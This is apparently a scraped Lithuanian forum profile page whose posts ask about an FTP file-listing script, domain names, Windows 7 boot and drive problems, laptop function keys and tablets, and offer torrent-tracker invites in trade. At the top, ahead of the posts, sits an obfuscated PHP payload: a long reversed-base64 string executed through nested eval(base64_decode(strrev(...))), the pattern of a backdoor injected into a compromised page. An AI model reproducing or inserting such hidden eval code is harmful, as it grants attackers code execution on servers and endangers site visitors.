laNVjUy4kdaZEZoJmeWVjWE50aNBDeyIGMSpWTGpUSZd1a3FGbwN3UrhGaaBjVIV1RkJnYsxmbOZkUaRmbkVkWIR2cidlTxR1aopEZGpVdXhlTHJVVsJTVq5UaiBjSzV1RspnVGBXMPdVMpplM5EXWup1cSJjUvNlaOlWYspFSX5mUSN1RWNXVrhmSOBjRFRFWkJkUFFzMUVlTK50arpXWu1UNNxGbw1kRSF2YygXSahEcDFWVslnTWRmWjBzb5d1RrdnUHJ1cadUMqFmRKl0UXtGNVJTS4N1aklWYExGSahkWvJlMOJDVVh2ahxmWJdlbat0UH5kMNRkSpFmaWVTW6J0QXdkR1QlaKpWZWlVeahkWDN1RGVnYFRGakdVT6pFRNVTZVdnMRVFar10RoR3UUxmWWFDc1EWRkpUYIhWRTNFdKVWV4cXUrhGUaJTOVdlaaNXTt5EMVdVNpRGbwh0UURmSXZ0b35kVkFWYrpEcUNjVrZlMGpnUsRWTNdEaZdlaCNUZVhDMRtGaOVWVGBHVzMWNSJjUw4kRkhmYrBXWXhlUDVWV5YXVq5UahVlSwR1MsdkVxAneU1WMK9kVWhUWqZ1UNJjTudlVohWYzgWRTdVNCVVMC52UWhWYNR0a5lVbx8kVyYkeVtmTK5kMOR0UTRnWXdkRy9UVOFlW6JFRah0a1IlMONjVq5kaaBDbZpFSaN3UFxWNPdVMhpVMVpXWqZ1QldlRxI1akhmVVpEcVhkWCF2VOBXZFJlSkRlQYdlbOtUTtpUNRtGaKVWb4hUWUJ0QRJjUxZVbxoWZUtWeXdFZCN1RKNXYFRmSkxmSJN1U0ZUTrdHNOhEchRGVsRXW6J0TNBzd00ERKlWYqZVNZpnQDd1RGVDVqpkalZVW5pFSaN0UHZUdiVEZoFVV1k1Vu9WMWFDcxJWRkl2Sy4EdZ5mWLN1RSZTZHBXUhRVQ5lVbvFTZX10dRxGaoVWV0kXWzw2VN1mUyE1aohmYthHSZVlRPdlRwZjTWRWYh1GeIllaZRjUyIleiZEZaRWRwRVVHFzVidlT2FFbOp1TFZERadEcHJlMSFzTUpkWaFTV5llModlUyokUR1GbRR2aGBXWywGNSVEbxYFVKpGZWlVeXhlQ0IFMsZjYFRGaNVkSwl1MaFmUwwmcW1WMsNWRvpXWtlzUXdkUvF1aOtGZqZFSThFczJFMrJXWyETaktGcJpFSvVTUxEUNOZFZoFGRFlXWtRHMixmQ15EVKlWZWlkeZpHaCF2VKdnUsRWakxmSINFWsdVTyoUYR1GbRFGWOFXWyg3Ui1mSzR1akpkTqFVeX5mQ0YVMsBTVVhGbiZkSJNFVkJkUFFzMRdFcTJFM1Q0UXR3cSJjSyQ1aopkTFpUWUdFZ2FWbONXVtFjaktGcINFVk52UH1EeRdFbQJmaWhVWXR3UWFDbzElbsBlUWpkRUBjVhFWMKFXUXxGUlRFbIllba9kVwgncOZFZrR2avp3Vup0TWFDbwFlbsBlTFpUSUdFZuN1RONjUVJlSOVkSJR1Vk52UH50MSVlUK5kaShVWXVzSXZEbwElbsBlYxkkeZ1GbDFWV5UjUsRWYjBTN0NFVsZlUykUMVpmTqpVMslVWXRHNSVEb1FlVOFlWxYEWX5mSP1UbKp3UshWYhBjWYdVb58kVyYkeVtmTK5EMsB3UXN2dSVEb1Y1akFWYGpFSZdFczJlMKJXUXxGRhVlSHZlaKN3VGZlbPhEbNlkaztUUHZlMZd1dvlVbGpnWUlFMYJjUsllM5smWTdWaVVFZX1EbshFZykjWiVlW2cFbSpVTGdWeV1Gea1kasJ3Vs50bl1mUJNlbsF2VGxmdTtmWH50VSNXVsZkWhdFd3NVMSpHUTlEcLR1cLJSPiBFV2lXUkogCiBFV2lXUg8yL"; @eval(base64_decode("QGV2YWwoYmFzZTY0X2RlY29kZShzdHJyZXYoJFF5dlRQYikpKTs=")); ?>
jei dAR butu adresas failo atsisiuntimo tai tada to ir reik, o cia tik panasaus kaip sitas, tik jau kaip minejau isdestymas nesvarbus :) ir cia atvaizduoja tik image, o man reikia daug daugiau formatu
-
laba vakara, noriu pasiklaust vieno dalyko, bandziau pats darytis bet nelabai pavyksta :) patirties maza...google ir ieskojau, bet konkretaus dalyko neradau, taigi man reikia is nurodyto ftp kategorijos, pavizdziui uploads , istraukti duomenis, ir atvaizduotu man php ar kokiame kitame faile, tame uploads kategorijoje, bus dar kategoriju, pvz file1, folder2, katalogas3 ir t.t bus ju apie 10 viso, bet man kad atvaizduoti reikia taip kad tarkim as nuejas i ta adresas.lt/failai.php rodytu tas kategorijas file1, folder2, katalogas3 isdestymas nesvarbus ir paspaudus ant kategorijos jau butu mano sukelti failai ir kad butu salia atsisiuntimo adresas. naudosiu ji savo reikmem, ir jo niekas nematys :) principas toks downloads.phpfusion-lt.com, tik nenaudoju as fusiono :D gal galit kas padet ? ar gal turit toki scripta ? :)
-
Trumpai sakant domenas turi būti - Trumpas, Informativus, Lengvai atsiminimas, tikslus.
sunku jau ir sugalvoti, geriausi ir trumpiausi senai uzimti :) puslapis su android tematika bus
-
na jei nori kad savininkas automobilio sumoketu ir kura ir mokescius, tai tau jau ir taip apsimoka nereikes paciam pirkt bilietus, ir t.t. :) ir dar uzdirbt nori, nu idomus tie lietuviai :D
-
na esme kad radau nebloga laisva domena, ir jei is sujungtu 3 zodziu, visi atitinka puslapio tematika, bet tie zodziai gaunasi jau is 12 raidziu, tai gan daugoka, o prie to pacio sakykit pavizdziui maciau kad cia pardavineja projekta androidsdl.com, na viskas aisku, o prie ko cia tas dl, ka jis sudaro , ka turi bendro sutuo android ? :)
Domenas yra turtas ir jei išsirinksi prastą, tai jis jokios vertės ir neturės.
Kuo trumpesnis, tuo jis vertingesnis. Brūkšneliai yra didelis minusas domeno vertei.
Jei kuri projektą tik pažaisti ir numesti, tai jokio skirtumo bus tie brūkšneliai ar ne.
na esme kad kurdami niekas nezino, ar projektas pasiseks ar ne :) visi stengesi, aisku reikia ir darbo ideti norint pasiekti gera rezultata :)
-
sveiki, norejau pasiklausti patarimu, skaiciau taip pat daug siame forume ir kitur, bet taip tikslaus atsakymo ir neradau, kuriu projekta, nelietuviskai rinkai, Taigi kaip gi tas adresas su - bruksneliu ar be ? kaip paieskos sistemose , ar domenas gerai bus jei sujungtas su 2 ar 3 zodziaias, ir ar puslapio tematika turi atitikti domeno zodzius, ar jokio skirtumo.? domenas bus su .com galune pradzioje tiek :)
Atsiprasau kad nerasau su lt raidemis, neveikia klaviatura :)
-
SUSITVARKIAU, DEKUI UZ PAGALBA :D
-
sveiki , susiduriau su tokia problema, sumaisiau cd, nes nebuvo uzraso, isjungiau kompa, o kai prireike. vel. ji ijungiau, ir pradejo krautis ubuntu, tame cd buvo nepilnai sukeltas ar kazko truko, net pats nezinau, ir vienu zodziu. mete erorus kad kazkas blogai, isemiau ta cd. ir paleidus is nauju, vel ta pati imeta ka mete ir su cd ir be, ir niekaip dabar negaliu paleisti win 7, patarkit ka daryti, nes jau kantrybe truko po ilgu paiesku google :D.
-
Sveiki, nesinori kurti naujos temos, bet susiduriau su tokia problema, perisntaliavau siandien win 7, ir dingo is my computer D diskas ir taip pat 400gb, tik nelabai isivaizdavau kodel, norejau isaugoti d diska su duomenimis bet kazkaip kazkas nepavyko, suformatavau tik C diska instaliuodamas. gal zinote kokiu sprendimo budu ?
-
sveiki, reiktu i demonoid galiojancio registracijos kodo, mainais duociau torrent.lt ar lm pakvietima, jei galima i pm :) turiu seeders.lt pakvietimu. apie 20, jei kam reik, i pm :)
-
na tai bent gal kas pasiulys. kokios firmos imt iki tokios kainos ?
-
suprantu kad labai geros nenupirksiu, bet kazka juk galima uz tokia suma. ar patartumet naudota iki 600lt ?
-
sveiki, ketvirtadieni busiu kaune, ir noreciau isigyti placete iki 600lt privalumai butu tokie kuriu noriu, kad butu su 3g ir skambinimo funkcijo, gal patartumet koki imt ir kur rast geresniu pasirinkimu ? :)
-
gal zinai kelia iki pakeitimo bios'e ?
-
man reikia kad veiktu be fn, nepatogu sitaip ;)
-
na paspaudus mygtuka apacioja fn ir sitas kur neveikia, tai veikia, bet esme labai nepatogu , pabandysiu jusu pasiulymus, gal kas dar gali buti ? :)
-
sveiki, nusipirkau nauja laptopa. toshiba. instaliavus win 7 viskas veikia isskyrus nuo f2 iki f12 ir ins (scroll lock) , del, home(sysrq), end(prtsc), pgup(break) ir pgdn(pauze) visi virsutinei isvardinti neveikia, esc ir f1 veiki. kas per beda cia gali buti ar jas kazkaip reikia ijungti atskirai. ? ;)
-
sveiki, is kur geriause pirkti auto dvd +tv , kad butu ir uzb jungis, ir tv eitu ziuret ? :)
-
sveiki, is kur geriause uzsisakyt, auto tv+dvd is kinu el.parduotuves ? :) kad nemokamas pristatymas butu :) dekui is anksto
Konkretaus svetainės linko nuėjimo žinojimas.
Programuotojų kampas
Atrašyta
Tik Dievo pagalba sunau, tik Dievo :)